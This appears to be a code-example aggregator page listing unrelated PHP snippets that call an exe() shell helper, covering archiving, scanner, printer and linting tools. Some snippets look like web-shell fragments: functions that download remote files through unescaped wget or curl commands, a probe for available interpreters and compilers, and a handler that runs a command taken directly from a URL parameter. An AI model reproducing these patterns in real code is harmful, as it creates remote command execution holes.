Esempio n. 1
0
<?php

set_time_limit(0);
include 'func.php';
$rootdir = getbase($_GET['base']);
if (($dir = safepath($rootdir, $_GET['dir'])) === false) {
    redirect('index.php');
}
$hash = mkhash($rootdir . $dir);
$thash = $_GET['base'] . '-' . $hash;
$hash = $_GET['base'] . '/' . $hash;
$path = rtrim(joinpath($rootdir, $dir), '/');
$apath = explode('/', $path);
$bdir = array_pop($apath);
chdir(r(implode('/', $apath)));
$zfile = $bdir . '.7z';
#header('Content-type: application/x-zip-compressed');
#header('Content-Disposition: attachment; filename*=utf-8"'.preg_replace('![\\/?]!i','',$zfile).'"');
$cmd = $CFG['sevenzip'] . ' a -t7z ' . escapeshellarg($CFG['cachedir'] . $zfile) . ' ' . escapeshellarg(r($bdir));
exe($cmd);
redirect($CFG['cacheurl'] . $zfile);
#passthru($cmd);
Esempio n. 2
0
function download($cmd, $url)
{
    $namafile = basename($url);
    switch ($cmd) {
        case 'wwget':
            exe(which('wget') . " " . $url . " -O " . $namafile);
            break;
        case 'wlynx':
            exe(which('lynx') . " -source " . $url . " > " . $namafile);
            break;
        case 'wfread':
            ambil($wurl, $namafile);
            break;
        case 'wfetch':
            exe(which('fetch') . " -o " . $namafile . " -p " . $url);
            break;
        case 'wlinks':
            exe(which('links') . " -source " . $url . " > " . $namafile);
            break;
        case 'wget':
            exe(which('GET') . " " . $url . " > " . $namafile);
            break;
        case 'wcurl':
            exe(which('curl') . " " . $url . " -o " . $namafile);
            break;
        default:
            break;
    }
    return $namafile;
}
 function testperl()
 {
     if (exe('perl -h')) {
         return showstat("on");
     } else {
         return showstat("off");
     }
 }
Esempio n. 4
0
function dlfile($u, $p)
{
    $n = basename($u);
    // try using php functions
    if ($t = file_get_contents($u)) {
        if (is_file($p)) {
            unlink($p);
        }
        if ($f = fopen($p, "w")) {
            fwrite($f, $t);
            fclose($f);
            if (is_file($p)) {
                return true;
            }
        }
    }
    // using wget
    exe(xwhich('wget') . " " . $u . " -O " . $p);
    if (is_file($p)) {
        return true;
    }
    // try using lwp-download
    exe(xwhich('lwp-download') . " " . $u . " " . $p);
    if (is_file($p)) {
        return true;
    }
    // try using lynx
    exe(xwhich('lynx') . " -source " . $u . " > " . $p);
    if (is_file($p)) {
        return true;
    }
    // try using curl
    exe(xwhich('curl') . " " . $u . " -o " . $p);
    if (is_file($p)) {
        return true;
    }
    return false;
}
Esempio n. 5
0
        }
    }
    for ($i = 0, $max = count($FILES); $i < $max; $i++) {
        $FILE = $FILES[$i];
        if (isset($time)) {
            if ($filter === 2) {
                if (filemtime("scans/thumb/{$FILE}") < $time) {
                    continue;
                }
            } else {
                if ($filter === 1) {
                    if (filemtime("scans/thumb/{$FILE}") > $time) {
                        continue;
                    }
                } else {
                    if ($filter === 3) {
                        if (!(filemtime("scans/thumb/{$FILE}") > $time[1] && filemtime("scans/thumb/{$FILE}") < $time[0])) {
                            continue;
                        }
                    }
                }
            }
        }
        $FILE = substr($FILE, 7, -3);
        $FILE = substr(exe("cd 'scans/file'; ls " . shell("Scan{$FILE}") . '*', true), 5, -1);
        //Should only have one file listed
        $IMAGE = $FILES[$i];
        echo '<div class="box" id="' . html($FILE) . '">' . '<h2 ondblclick="toggleFile(this);" class="excluded">' . html($FILE) . '</h2><p><span>' . genIconLinks(null, "Scan_{$FILE}", false) . '</span><br/>' . '<a class="tool" target="_blank" href="scans/file/Scan_' . url($FILE) . '" style="width:100%;"><img src="scans/thumb/' . url($IMAGE) . '" alt="' . html($FILE) . '" style="width:100%"/><span class="tip">View raw file</span></a>' . '</p></div>';
    }
    echo '</div><script type="text/javascript">' . 'if(typeof document.body.style.MozColumnGap=="string")' . 'getID("scans").className="columns";' . 'else ' . 'enableColumns("scans",null,' . (isset($_COOKIE["columns"]) ? 'true' : 'false') . ');</script>';
}
Esempio n. 6
0
    $dev = explode("ID ", $dev)[1];
    $id = substr($dev, 0, strpos($dev, ' '));
    $name = substr($dev, strpos($dev, ' ') + 1);
    echo '<li><input type="checkbox" name="' . html($id) . '" value="' . html($name) . '"/>' . html($name) . '</li>';
}
?>
</ul>
<input type="submit" value="Generate"/>
</form>
<?php 
if (count($_POST) > 0) {
    $group = "lp";
    $type = "GROUP";
    if (exe("id {$group} > /dev/null;echo \$?", true) == 1) {
        $group = "scanner";
        if (exe("id {$group} > /dev/null;echo \$?", true) == 1) {
            $group = "666";
            $type = "MODE:";
        }
    }
    $paths = array();
    echo "<div><span>Rules:</span><pre>";
    foreach ($_POST as $key => $val) {
        foreach ($usb as $dev) {
            if (strpos($dev, $key) > -1) {
                $dev = substr($dev, 0, strpos($dev, ':'));
                $dev = explode(' ', $dev);
                array_push($paths, $dev[1] . '/' . $dev[3]);
                break;
            }
        }
Esempio n. 7
0
function check_access($s_lang)
{
    $s_s = false;
    $ver = "";
    switch ($s_lang) {
        case "python":
            $s_cek = strtolower(exe("python -h"));
            if (strpos($s_cek, "usage") !== false) {
                $ver = exe("python -V");
            }
            break;
        case "perl":
            $s_cek = strtolower(exe("perl -h"));
            if (strpos($s_cek, "usage") !== false) {
                $ver = exe("perl -e \"print \$]\"");
            }
            break;
        case "ruby":
            $s_cek = strtolower(exe("ruby -h"));
            if (strpos($s_cek, "usage") !== false) {
                $ver = exe("ruby -v");
            }
            break;
        case "node":
            $s_cek = strtolower(exe("node -h"));
            if (strpos($s_cek, "usage") !== false) {
                $ver = exe("node -v");
            }
            break;
        case "nodejs":
            $s_cek = strtolower(exe("nodejs -h"));
            if (strpos($s_cek, "usage") !== false) {
                $ver = exe("nodejs -v");
            }
            break;
        case "gcc":
            $s_cek = strtolower(exe("gcc --help"));
            if (strpos($s_cek, "usage") !== false) {
                $s_ver = exe("gcc --version");
                $s_ver = explode("\n", $s_ver);
                if (count($s_ver) > 0) {
                    $ver = $s_ver[0];
                }
            }
            break;
        case "tar":
            $s_cek = strtolower(exe("tar --help"));
            if (strpos($s_cek, "usage") !== false) {
                $s_ver = exe("tar --version");
                $s_ver = explode("\n", $s_ver);
                if (count($s_ver) > 0) {
                    $ver = $s_ver[0];
                }
            }
            break;
        case "java":
            $s_cek = strtolower(exe("java -help"));
            if (strpos($s_cek, "usage") !== false) {
                $ver = str_replace("\n", ", ", exe("java -version"));
            }
            break;
        case "javac":
            $s_cek = strtolower(exe("javac -help"));
            if (strpos($s_cek, "usage") !== false) {
                $ver = str_replace("\n", ", ", exe("javac -version"));
            }
            break;
        case "wget":
            $s_cek = strtolower(exe("wget --help"));
            if (strpos($s_cek, "usage") !== false) {
                $s_ver = exe("wget --version");
                $s_ver = explode("\n", $s_ver);
                if (count($s_ver) > 0) {
                    $ver = $s_ver[0];
                }
            }
            break;
        case "lwpdownload":
            $s_cek = strtolower(exe("lwp-download --help"));
            if (strpos($s_cek, "usage") !== false) {
                $s_ver = exe("lwp-download --version");
                $s_ver = explode("\n", $s_ver);
                if (count($s_ver) > 0) {
                    $ver = $s_ver[0];
                }
            }
            break;
        case "lynx":
            $s_cek = strtolower(exe("lynx --help"));
            if (strpos($s_cek, "usage") !== false) {
                $s_ver = exe("lynx -version");
                $s_ver = explode("\n", $s_ver);
                if (count($s_ver) > 0) {
                    $ver = $s_ver[0];
                }
            }
            break;
        case "curl":
            $s_cek = strtolower(exe("curl --help"));
            if (strpos($s_cek, "usage") !== false) {
                $s_ver = exe("curl --version");
                $s_ver = explode("\n", $s_ver);
                if (count($s_ver) > 0) {
                    $ver = $s_ver[0];
                }
            }
            break;
        default:
            return false;
    }
    if (!empty($ver)) {
        $s_s = $ver;
    }
    return $s_s;
}
function check_access($lang)
{
    $s = 0;
    switch ($lang) {
        case "python":
            $cek = strtolower(exe("python -h"));
            if (strpos($cek, "usage") !== false) {
                $s = 1;
            }
            break;
        case "perl":
            $cek = strtolower(exe("perl -h"));
            if (strpos($cek, "usage") !== false) {
                $s = 1;
            }
            break;
        case "ruby":
            $cek = strtolower(exe("ruby -h"));
            if (strpos($cek, "usage") !== false) {
                $s = 1;
            }
            break;
        case "gcc":
            $cek = strtolower(exe("gcc --help"));
            if (strpos($cek, "usage") !== false) {
                $s = 1;
            }
            break;
        case "tar":
            $cek = strtolower(exe("tar --help"));
            if (strpos($cek, "usage") !== false) {
                $s = 1;
            }
            break;
        case "java":
            $cek = strtolower(exe("javac --help"));
            if (strpos($cek, "usage") !== false) {
                $cek = strtolower(exe("java -h"));
                if (strpos($cek, "usage") !== false) {
                    $s = 1;
                }
            }
            break;
    }
    return $s;
}
Esempio n. 9
0
function load_program($ar)
{
    $x = array_reverse($ar);
    array_push($x, 0);
    exe(0x1, $x);
}
Esempio n. 10
0
            break;
        case "detectar":
            detectar();
            break;
        case "estadonodos":
            estadonodos();
            break;
        case "estadoclientes":
            estadoclientes();
            break;
        case "exe":
            if (isset($_GET["comando"])) {
                if (isset($_GET["parametro"])) {
                    exe($_GET["comando"], $_GET["parametro"]);
                } else {
                    exe($_GET["comando"]);
                }
            }
            break;
        case "anchodebanda":
            if (isset($_GET["parametro"])) {
                anchodebanda($_GET["parametro"]);
            } else {
                anchodebanda();
            }
            break;
    }
}
if (isset($_GET["ejecutar"])) {
    switch ($_GET["ejecutar"]) {
        case "aplicar":
Esempio n. 11
0
 * @param array  &$o  Where output is stored 
 * 
 * @return boolean
 */
function exe($cmd, &$o)
{
    $x = @exec($cmd, $o, $r);
    if ($r) {
        return false;
    }
    return true;
}
$workspace_dir = realpath(dirname(__FILE__) . "");
$cmd_reqs = array();
$cmd_reqs["phpcs"] = "PHP_CodeSniffer (pear install -f PHP_CodeSniffer)";
$cmd_reqs["phpt"] = "PHPT, http://phpt.info/wiki";
// check if commands are available
foreach ($cmd_reqs as $cmd => $package) {
    if (@exe("which " . $cmd, $lines) === false) {
        echo $cmd . " is not available. ";
        echo "Please first install the " . $package;
        die("\n");
    }
}
$cmd = "phpcs --standard=PEAR " . $workspace_dir . "/System";
// 2>&1 |grep -v 'underscore' -B2
@exe($cmd, $lines);
echo implode("\n", $lines);
$cmd = "phpt -r " . $workspace_dir . "";
@exe($cmd, $lines);
echo implode("\n", $lines);
Esempio n. 12
0
function uuid2bus($d)
{
    // Bug #13
    $id = $d->{"UUID"};
    $d = $d->{"DEVICE"};
    $data = exe("lsusb -d " . shell($id) . " # See Bug #13", true);
    if (strlen($data) == 0) {
        return $d;
    }
    // Scanner must not be connected
    $bus = substr($data, strpos($data, "Bus ") + 4, 3);
    $dev = substr($data, strpos($data, "Device ") + 7, 3);
    $pos = strpos($d, "libusb:") + 7;
    return substr($d, 0, $pos) . "{$bus}:{$dev}" . substr($d, $pos + 9);
}
Esempio n. 13
0
# This file is used to handle all the print commands
# This file runs all the print commands, ../download.php and inc/printer.php call this page via include
# If your printer needs some special options used you want to edit lines 15 and 27, also note lines 12 and 24
# You will want to read up on the CUPS command line printing documentation @ http://www.cups.org/documentation.php/options.html
$lpstat = 'lpstat -a | awk \'{print $1}\'';
// command used to find printers
if (function_exists('exe')) {
    // internal call via inc/printer.php
    if (isset($file)) {
        $_POST['quantity'] = intval($_POST['quantity']);
        $q = $_POST['quantity'] > 0 ? $_POST['quantity'] : 1;
        $o = escapeshellarg($_POST['options']);
        Print_Message($_POST['printer'], 'Your document is being processed:<br/><pre>' . html(exe('lp -d ' . shell($_POST['printer']) . " -n {$q} -o {$o} {$file}", true)) . '</pre>', 'center');
    } else {
        $printers = array_filter(explode("\n", exe($lpstat, true)));
    }
} else {
    if (isset($Printer)) {
        // internal call via include from ../download.php
        header('Content-type: application/json; charset=UTF-8');
        $_GET['quantity'] = intval($_GET['quantity']);
        $q = $_GET['quantity'] > 0 ? $_GET['quantity'] : 1;
        $o = escapeshellarg($_GET['options']);
        echo json_encode((object) array('printer' => $_GET['printer'], 'message' => shell_exec('lp -d ' . escapeshellarg($_GET['printer']) . " -n {$q} -o {$o} {$file}")));
    } else {
        $Printer = parse_ini_file(file_exists('res') ? 'config.ini' : '../config.ini');
        $Printer = (int) $Printer['Printer'];
        if (!function_exists('ext2mime')) {
            // external call via browser
            if ($Printer == 0) {